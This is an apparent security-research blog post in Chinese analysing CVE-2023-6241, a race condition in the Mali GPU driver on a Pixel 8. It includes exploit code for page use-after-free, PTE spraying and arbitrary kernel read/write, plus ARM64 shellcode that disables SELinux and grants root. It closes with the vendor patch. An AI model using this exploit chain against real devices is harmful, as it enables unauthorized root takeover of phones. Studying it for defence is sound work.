5秒攻破:WARN_ON如何导致10分钟延迟 | STAR Labs
May 30, 2025 · 16 min · Tan Ze Jian
目录
作为在STAR Labs实习的一部分,我的任务是分析CVE-2023-6241的N-day漏洞。原始PoC可以在此处找到,同时附有详细的说明文档。
在本博客文章中,我将解释根本原因以及用于利用页面UAF的替代利用技术,实现任意内核代码执行。
以下漏洞利用在修补前的最新版本Pixel 8上进行了测试。
1
2
|
shiba:/ $ getprop ro.build.fingerprint
google/shiba/shiba:14/UQ1A.240205.004/11269751:user/release-keys
|
根本原因分析
该漏洞是由于kbase_jit_grow函数中的竞争条件引起的(源代码)。
当调用者请求的物理页面数量超过kctx内存池中的页面数量时,竞争窗口就会打开。锁将被释放,允许内核重新填充内存池。
重新填充后,先前计算的old_size值被kbase_mem_grow_gpu_mapping用于映射新页面。代码错误地假设在下面的while循环之后,先前的old_size和nents仍然保持相同的值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
/* Grow the backing */
old_size = reg->gpu_alloc->nents; // 先前的old_size
/* Allocate some more pages */
delta = info->commit_pages - reg->gpu_alloc->nents;
pages_required = delta;
...
while (kbase_mem_pool_size(pool) < pages_required) {
int pool_delta = pages_required - kbase_mem_pool_size(pool);
int ret;
kbase_mem_pool_unlock(pool);
spin_unlock(&kctx->mem_partials_lock);
kbase_gpu_vm_unlock(kctx); // 锁被释放
ret = kbase_mem_pool_grow(pool, pool_delta, kctx->task); // 此处存在竞争窗口
kbase_gpu_vm_lock(kctx); // 重新获取锁
if (ret)
goto update_failed;
spin_lock(&kctx->mem_partials_lock);
kbase_mem_pool_lock(pool);
}
// 竞争窗口后,实际的nents可能大于old_size
...
ret = kbase_mem_grow_gpu_mapping(kctx, reg, info->commit_pages,
old_size, mmu_sync_info);
|
如果我们在竞争窗口期间通过写入指令引入页面错误来增长JIT内存区域,实际的后备页面数量(reg->gpu_alloc->nents)将大于缓存的old_size。
在页面错误期间,页面错误处理程序将映射和后备物理页面直到错误地址。
1
2
3
4
|
-----------------------------
| old_size | FAULT_SIZE |
-----------------------------
<----------- nents ---------->
|
后备页面
kbase_jit_grow通过以下行向内存区域添加后备页面:
1
|
kbase_alloc_phy_pages_helper_locked(reg->gpu_alloc, pool, delta, &prealloc_sas[0])
|
delta参数是在竞争窗口之前保存的缓存值,与old_size具有相同的值。当我们查看kbase_alloc_phy_pages_helper_locked函数时,它引用了新的reg->gpu_alloc->nents值,并将其用作起始偏移量来添加delta页面(源代码)。换句话说,物理后备页面是从偏移量nents到nents + delta分配的。
映射页面
然后kbase_jit_grow尝试通过以下方式映射页面:
1
|
kbase_mem_grow_gpu_mapping(kctx, reg, info->commit_pages, old_size, mmu_sync_info)
|
当映射新页面时,kbase_mem_grow_gpu_mapping计算delta为info->commit_pages - old_size,并从old_size开始映射delta页面。由于kbase_mem_grow_gpu_mapping不知道区域的实际nents已经增加,它将无法映射最后的FAULT_SIZE页面。
期望:
1
2
3
|
----------------------------------
| old_size | delta |
----------------------------------
|
现实:
1
2
3
4
5
6
7
8
9
|
-----------------------------------------------
| old_size | FAULT_SIZE | delta |
-----------------------------------------------
或
-----------------------------------------------
| old_size | delta | FAULT_SIZE |
-----------------------------------------------
<----------------- backed -------------------->
<----------- mapped ------------> <- unmapped >
|
我们现在将得到一个状态,其中内存区域的右侧部分未映射但由物理页面支持。
漏洞利用
为了使此漏洞可利用,我们首先需要了解Mali驱动程序如何处理内存区域的收缩和释放。
原始说明文档解释得相当好。
想法是创建一个内存区域,其中一部分保持未映射状态,而周围区域仍然映射。这种配置导致收缩例程跳过取消映射该特定部分,即使其后备页面被标记为释放。
为了实现这一点,我们可以在现有内存区域的末尾附近引入第二个错误以满足条件。
1
2
3
4
|
--------------------------------------------------------------
| old_size | delta | FAULT_SIZE | second fault |
--------------------------------------------------------------
<----------- mapped ------------> <- unmapped ><-- mapped --->
|
之后,我们收缩内存区域,这导致GPU开始从final_size之后取消映射。Mali驱动程序将跳过取消映射PTE1中的映射,因为它是未映射且无效的。当它到达PTE2时,由于PTE2中的第一个条目无效(因为相应的地址未映射),kbase_mmu_teardown_pgd_pages将跳过取消映射接下来的512个虚拟页面。然而,这本来不应该是这种情况,因为仍然有需要取消映射的有效PTE。
1
2
3
4
5
6
7
8
|
<------------ final_size ------------><----- free pages ----->
--------------------------------------------------------------
| mapped | unmapped | mapped |
--------------------------------------------------------------
|-- PTE1 --|-- PTE2 --|
<---*--->
*区域跳过取消映射但后备页面被释放
|
我们可以将FAULT_SIZE设置为0x300页,使其占据略多于1个最后级别PTE(可以容纳0x200页)。因此,在收缩后,second_fault中的一部分内存将保持映射状态。但是,final_size之后的所有物理页面都被释放。
此时,我们仍然能够访问这个无效的映射区域(write_addr = corrupted_jit_addr + (THRESHOLD) * 0x1000),其物理页面已被释放。我们需要在它被其他对象消耗之前重新声明这个释放的页面。我们的目标是强制2个虚拟内存区域引用相同的物理页面。
- 从GPU大量分配和映射内存区域
- 将魔术值写入映射到已释放页面的区域
- 扫描(1)中分配的所有区域以查找魔术值,找到哪个物理页面已被重用
1
2
3
4
5
6
7
8
9
|
create_reuse_regions(mali_fd, &(reused_regions[0]), REUSE_REG_SIZE);
value = TEST_VAL;
write_addr = corrupted_jit_addr + (THRESHOLD) * 0x1000;
LOG("writing to gpu_va %lx\n", write_addr);
write_to(mali_fd, &write_addr, &value, command_queue, &kernel);
uint64_t reused_addr = find_reused_page(&(reused_regions[0]), REUSE_REG_SIZE);
if (reused_addr == -1) {
err(1, "Cannot find reused page\n");
}
|
现在我们知道write_addr和reused_addr都引用相同的物理页面。
任意读写
此时,我们有一个状态,其中我们持有2个引用相同物理页面的内存区域(write_addr和reused_addr)。我们的下一个目标是将这个重叠页面转变为更强的任意读写原语。
原始漏洞利用通过喷洒Mali GPU的PGD来重用已释放的页面。由于我们能够读写已释放的页面,我们能够控制新分配的PGD中的PTE。这允许我们将保留缓冲区的后备页面更改为指向任何内存区域,并随后使用它来修改内核函数。
原始说明文档中解释了详细信息
根据说明文档,Mali处理内存分配的方式有几个有趣的地方:
- Mali驱动程序的物理页面内存分配是分层进行的。
- 它首先从上下文池中提取,然后是设备池。如果两个池都无法满足请求,它将从内核伙伴分配器请求页面。
- GPU的PGD分配是从kbdev内存池请求的,这是设备的内存池。
因此,原始漏洞利用提出了一种技术,可靠地将空闲页面放入kbdev池中以供PGD分配重用:
- 从GPU分配一些页面(用于喷洒PGD)
- 分配MAX_POOL_SIZE页面
- 释放MAX_POOL_SIZE页面
- 将我们的UAF页面(
reused_addr)释放到kbdev内存池
- 映射并写入(1)中分配的页面,这将导致在GPU中分配新的PGD。希望它重用
reused_addr引用的页面
- 从
write_addr扫描内存区域以查找PTE。
漏洞利用现在能够通过修改PTE来控制(1)中保留页面的物理后备页面,从而实现任意读写。
从以下位置检查设备的MAX_POOL_SIZE:
1
2
|
shiba:/ $ cat /sys/module/mali_kbase/drivers/platform\:mali/1f000000.mali/mem_pool_max_size
16384 16384 16384 16384
|
其他途径
我的导师Peter建议我利用页面UAF原语探索其他内核利用技术。
为了实现这一点,我们首先需要将释放的页面从GPU的控制中取出。我们可以修改原始漏洞利用以排出2 * MAX_POOL_SIZE页面,而不是排出MAX_POOL_SIZE页面,这会填满上下文和设备内存池。这导致后续释放的页面直接返回到内核伙伴分配器,而不是保留在Mali驱动程序内。
我们现在能够使用通常的Linux内核利用技术来喷洒内核对象。我最初尝试通过喷洒pipe_buffer开始,因为它常用于其他漏洞利用并且是用户可控的。然而,我无法可靠地让对象重用UAF页面。然后我遇到了ptr-yudai使用的Dirty Pagetable技术,这对我来说效果很好。这种技术与原始漏洞利用中使用的技术非常相似,只是它在GPU外部操作。
我们首先在虚拟地址空间中mmap一个大的内存区域。这些虚拟内存区域在对其执行内存访问之前不会被任何物理页面支持。
1
2
3
4
|
void* page_spray[N_PAGESPRAY];
for (int i=0; i < N_PAGESPRAY; i++) {
page_spray[i] = mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
}
|
使用上面解释的技术将UAF页面发送回内核
1
2
3
|
uint64_t drain = drain_mem_pool(mali_fd); // 分配2倍池大小的页面
release_mem_pool(mali_fd, drain); // 释放上面分配的所有页面
mem_commit(mali_fd, reused_addr, 0); // 此处释放的页面应发送回内核伙伴分配器
|
当我们执行对映射区域的写入时,它将导致在最后级别分配新的页表。相应的PTE也将被填充。希望页表分配将获取从GPU释放的UAF页面。
1
2
3
4
5
6
7
|
// 用页表重新声明释放的页面,这样当我们从write_addr读取时,我们应该看到PTE
puts("[+] Spraying PTEs...");
for (int i = 0; i < N_PAGESPRAY; i++) {
for (int j = 0; j < 8; j++) {
*(int*)(page_spray[i] + j * 0x1000) = 8 * i + j; // 用唯一ID标记每个区域,以便稍后识别
}
}
|
现在我们需要找到一种方法来识别一对mmap-ed缓冲区及其相应的PTE。我们可以破坏一个PTE并尝试从中读取。由于我们在每个缓冲区中写入了唯一的ID,我们可以快速识别哪个区域已被破坏。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
// 用第二个PTE覆盖第一个PTE -> page_spray中的2个区域现在将具有相同的后备页面
uint64_t first_pte_val = read_from(mali_fd, &write_addr, command_queue, &kernel);
if (first_pte_val == TEST_VAL) {
err(1, "[!] pte spray failed\n");
}
uintptr_t second_pte_addr = write_addr + 8;
uint64_t second_pte_val = read_from(mali_fd, &second_pte_addr, command_queue, &kernel);
write_to(mali_fd, &write_addr, &second_pte_val, command_queue, &kernel);
usleep(10000);
// 使用id迭代所有区域,找到哪个区域被破坏
void* corrupted_mapping_addr = 0;
for (int i = 0; i < N_PAGESPRAY; i++) {
for (int j = 0; j < 8; j++) {
void* addr = (page_spray[i] + j * 0x1000);
if (*(int*)addr != 8 * i + j) {
printf("[+] Found corrupted mapping @ %lx : %d\n", (uintptr_t)addr, 8 * i + j);
corrupted_mapping_addr = addr;
}
}
}
if (corrupted_mapping_addr == 0) {
err(1, "[!] Unable to find overlapped mapping\n");
}
|
此时,我们从用户空间具有对corrupted_mapping_addr的读写访问权限,更重要的是,我们可以通过从OpenCL API控制write_addr处的PTE来更改其物理后备页面。换句话说,我们可以在内核内存中的任何地方读写!
由于对于此Pixel版本,内核文本部分始终加载在相同的物理地址,我们可以轻松覆盖内核函数以注入shellcode。
例如,下面的存根修改PTE以指向偏移write_loc处的物理地址,允许overwrite_addr中的更改反映在实际的物理页面中。
1
2
3
4
5
6
7
8
|
// 任意写入的存根
uintptr_t write_loc = ????;
char contents_to_write[] = {};
uintptr_t modified_pte = ((KERNEL_BASE + write_loc) & ~0xfff) | 0x8000000000000067;
write_to(mali_fd, &write_addr, &modified_pte, command_queue, &kernel);
usleep(10000);
void* overwrite_addr = (void*)(corrupted_mapping_addr + (write_loc & 0xfff));
memcpy(overwrite_addr, contents_to_write, sizeof(contents_to_write));
|
权限提升
为了完成漏洞利用,我们需要将SELinux设置为宽松状态并获得root权限。我选择重用原始漏洞利用中使用的现有方法。
绕过SELinux
这是一篇很好的文章,解释了在Android上绕过SELinux的常见方法
在此设备上绕过SELinux的最简单方法是将state->enforcing值覆盖为false。为了实现这一点,我们可以覆盖内核文本中的avc_denied函数,以始终授予所有权限请求,即使它原本应该被拒绝。
avc_denied的第一个参数是selinux_state,
1
2
3
4
5
|
static noinline int avc_denied(struct selinux_state *state,
u32 ssid, u32 tsid,
u16 tclass, u32 requested,
u8 driver, u8 xperm, unsigned int flags,
struct av_decision *avd)
|
因此,我们可以使用它用以下shellcode覆盖enforcing字段:
1
2
3
|
strb wzr, [x0] // 将selinux_state->enforcing设置为false
mov x0, #0 // 授予请求
ret
|
获取Root权限
像许多其他Linux漏洞利用一样,我们可以通过调用commit_creds(&init_cred)来获得root权限。由于当我们从/sys/fs/selinux/enforce读取时可以调用sel_read_enforce,我们用以下shellcode覆盖该函数:
1
2
3
4
5
6
7
8
|
adrp x0, init_cred
add x0, x0, :lo12:init_cred
adrp x8, commit_creds
add x8, x8, :lo12:commit_creds
stp x29, x30, [sp, #-0x10]
blr x8
ldp x29, x30, [sp], #0x10
ret
|
我们可以结合到目前为止获得的所有内容,从无特权的untrusted_app_27上下文成功利用Pixel 8。不幸的是,漏洞利用需要相当长的时间才能完成(根据我的测试大约10分钟)。
“修复"延迟
为了理解为什么漏洞利用有10分钟的延迟,我们可以检查kmsg中的日志。有很多警告抛出相同的堆栈转储。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
<4>[ 1881.358317][ T8672] ------------[ cut here ]------------
<4>[ 1881.363557][ T8672] WARNING: CPU: 8 PID: 8672 at ../private/google-modules/gpu/mali_kbase/mmu/mali_kbase_mmu.c:2429 mmu_insert_pages_no_flush+0x2f8/0x76c [mali_kbase]
<4>[ 1881.787213][ T8672] CPU: 8 PID: 8672 Comm: poc Tainted: G S W OE 5.15.110-android14-11-gcc48824eebe8-dirty #1
<4>[ 1881.797995][ T8672] Hardware name: ZUMA SHIBA MP based on ZUMA (DT)
<4>[ 1881.804254][ T8672] pstate: 22400005 (nzCv daif +PAN -UAO +TCO -DIT -SSBS BTYPE=--)
<4>[ 1881.811905][ T8672] pc : mmu_insert_pages_no_flush+0x2f8/0x76c [mali_kbase]
<4>[ 1881.818856][ T8672] lr : mmu_insert_pages_no_flush+0x2e4/0x76c [mali_kbase]
<4>[ 1881.825813][ T8672] sp : ffffffc022e53880
<4>[ 1881.829810][ T8672] x29: ffffffc022e53940 x28: ffffffd6e2e55378 x27: ffffffc01f26d0a8
<4>[ 1881.837639][ T8672] x26: 000000000000caec x25: 00000000000000cb x24: 0000000000000001
<4>[ 1881.845462][ T8672] x23: ffffff892fd0b000 x22: 00000000000001ff x21: 00000000000000ca
<4>[ 1881.853287][ T8672] x20: ffffff8019cf0000 x19: 000000089ad27000 x18: ffffffd6e603c4d8
<4>[ 1881.861111][ T8672] x17: ffffffd6e53d9690 x16: 000000000000000a x15: 0000000000000401
<4>[ 1881.868936][ T8672] x14: 0000000000000401 x13: 0000000000007ff3 x12: 0000000000000f02
<4>[ 1881.876760][ T8672] x11: 000000000000ffff x10: 0000000000000f02 x9 : 000ffffffd6e2e55
<4>[ 1881.884584][ T8672] x8 : 004000089ad26743 x7 : ffffffc022e539a0 x6 : 0000000000000000
<4>[ 1881.892410][ T8672] x5 : 000000000000caec x4 : 0000000000001ff5 x3 : 004000089ad27743
<4>[ 1881.900234][ T8672] x2 : 0000000000000003 x1 : 0000000000000000 x0 : 004000089ad27743
<4>[ 1881.908060][ T8672] Call trace:
<4>[ 1881.911188][ T8672] mmu_insert_pages_no_flush+0x2f8/0x76c [mali_kbase]
<4>[ 1881.917796][ T8672] kbase_mmu_insert_pages+0x48/0x9c [mali_kbase]
<4>[ 1881.923968][ T8672] kbase_mem_grow_gpu_mapping+0x58/0x68 [mali_kbase]
<4>[ 1881.930486][ T8672] kbase_jit_allocate+0x4e0/0x804 [mali_kbase]
<4>[ 1881.936488][ T8672] kcpu_queue_process+0xcb4/0x1644 [mali_kbase]
<4>[ 1881.942574][ T8672] kbase_csf_kcpu_queue_enqueue+0x1678/0x1d9c [mali_kbase]
<4>[ 1881.949615][ T8672] kbase_kfile_ioctl+0x3750/0x6e40 [mali_kbase]
<4>[ 1881.955701][ T8672] kbase_ioctl+0x6c/0x104 [mali_kbase]
<4>[ 1881.961004][ T8672] __arm64_sys_ioctl+0xa4/0x114
<4>[ 1881.965695][ T8672] invoke_syscall+0x5c/0x140
<4>[ 1881.970134][ T8672] el0_svc_common.llvm.10074779959175133548+0xb4/0xf0
<4>[ 1881.976741][ T8672] do_el0_svc+0x24/0x84
<4>[ 1881.980740][ T8672] el0_svc+0x2c/0xa4
<4>[ 1881.984477][ T8672] el0t_64_sync_handler+0x68/0xb4
<4>[ 1881.989347][ T8672] el0t_64_sync+0x1b0/0x1b4
<4>[ 1881.993693][ T8672] ---[ end trace 52f32383958e509a ]---
|
似乎故障行在../private/google-modules/gpu/mali_kbase/mmu/mali_kbase_mmu.c:2429的mmu_insert_pages_no_flush函数中。在源代码中,我们看到在循环中调用了WARN_ON,这与我们在kmsg中看到的匹配。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
for (i = 0; i < count; i++) {
unsigned int ofs = vindex + i;
u64 *target = &pgd_page[ofs];
/* Warn if the current page is a valid ATE
* entry. The page table shouldn't have anything
* in the place where we are trying to put a
* new entry. Modification to page table entries
* should be performed with
* kbase_mmu_update_pages()
*/
WARN_ON((*target & 1UL) != 0); // 这个警告是需要很长时间的指令
*target = kbase_mmu_create_ate(kbdev,
phys[i], flags, cur_level, group_id);
/* If page migration is enabled, this is the right time
* to update the status of the page.
*/
if (kbase_is_page_migration_enabled() && !ignore_page_migration &&
!is_huge(phys[i]) && !is_partial(phys[i]))
kbase_mmu_progress_migration_on_insert(phys[i], reg, mmut,
insert_vpfn + i);
}
|
当给定虚拟地址的页表条目(target)已经有效时,会触发警告,这意味着代码正在插入到已经映射的地址范围中。
此警告用作安全措施,以捕获在未适当无效化的情况下将新页面映射插入到现有映射上的意外行为。虽然这不会阻止映射被覆盖,但警告会触发昂贵的内核日志记录和堆栈转储,特别是如果日志重定向到用户空间。在正常情况下,这种情况不应发生,函数应返回而没有太多延迟。
为什么这只在我们的漏洞利用中发生?
回顾第一个竞争条件,如果竞争条件成功,页面错误处理程序将已经在old_size之后映射了FAULT_SIZE页面。然而,由于kbase_mem_grow_gpu_mapping使用缓存的old_size作为起始偏移量来映射delta页面,将会有FAULT_SIZE页面的重叠,从而触发警告。记录每个警告的成本显著减慢了我们的漏洞利用速度。
1
2
3
4
5
6
|
<----- already mapped ------>
-----------------------------
| old_size | FAULT_SIZE |
-----------------------------
<-------delta------>
<-- WARN --->
|
但是,我们不能过多减少FAULT_SIZE,因为页面数量必须大于最后级别PTE的大小,如上所述。不幸的是,我无法找到其他方法仅通过漏洞利用跳过检查。
尽管如此,我能够编写一个可加载内核模块来跳过警告以加速我的测试。我们可以使用kprobe跳过分支到0x84C2C,这有效地完全停止了延迟。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
// LKM跳过mmu_insert_pages_no_flush警告
#define pr_fmt(fmt) "%s: " fmt, __func__
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kprobes.h>
#define MAX_SYMBOL_LEN 64
static char symbol[MAX_SYMBOL_LEN] = "mmu_insert_pages_no_flush";
module_param_string(symbol, symbol, sizeof(symbol), 0644);
static struct kprobe kp = {
.symbol_name = symbol,
.offset = 0x27c,
};
static int __kprobes handler_pre(struct kprobe *p, struct pt_regs *regs)
{
instruction_pointer_set(regs, instruction_pointer(regs) + 4);
return 1;
}
static int __init kprobe_init(void)
{
int ret;
kp.pre_handler = handler_pre;
ret = register_kprobe(&kp);
if (ret < 0) {
pr_err("register_kprobe failed, returned %d\n", ret);
return ret;
}
pr_info("Planted kprobe at %p\n", kp.addr);
return 0;
}
static void __exit kprobe_exit(void)
{
unregister_kprobe(&kp);
pr_info("kprobe at %p unregistered\n", kp.addr);
}
module_init(kprobe_init)
module_exit(kprobe_exit)
MODULE_LICENSE("GPL");
|
在内核模块在后台运行的情况下,漏洞利用能够在<5秒内运行。仅仅一行代码就能将漏洞利用速度减慢120倍,真是令人惊讶!
漏洞修复
在commit 0ff2be2a2bb33093a47fcc173fa92c97dad3fe38中引入的补丁添加了一个检查来修复该错误。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
diff --git a/mali_kbase/mali_kbase_mem.c b/mali_kbase/mali_kbase_mem.c
index 9de0893..5547bef 100644
--- a/mali_kbase/mali_kbase_mem.c
+++ b/mali_kbase/mali_kbase_mem.c
@@ -4066,9 +4066,6 @@
if (reg->gpu_alloc->nents >= info->commit_pages)
goto done;
- /* Grow the backing */
- old_size = reg->gpu_alloc->nents;
-
/* Allocate some more pages */
delta = info->commit_pages - reg->gpu_alloc->nents;
pages_required = delta;
@@ -4111,6 +4108,17 @@
kbase_mem_pool_lock(pool);
}
+ if (reg->gpu_alloc->nents >= info->commit_pages) {
+ kbase_mem_pool_unlock(pool);
+ spin_unlock(&kctx->mem_partials_lock);
+ dev_info(
+ kctx->kbdev->dev,
+ "JIT alloc grown beyond the required number of initially required pages, this grow no longer needed.");
+ goto done;
+ }
+
+ old_size = reg->gpu_alloc->nents;
+ delta = info->commit_pages - old_size;
gpu_pages = kbase_alloc_phy_pages_helper_locked(reg->gpu_alloc, pool,
delta, &prealloc_sas[0]);
if (!gpu_pages) {
|
它首先检查竞争窗口后实际的后备页面数量是否大于请求的commit_pages。如果不需要增长,函数将提前返回,跳过映射delta页面的函数。
它还在竞争窗口后重新计算old_size,而不是使用缓存的值。
参考文献
© 2025 STAR Labs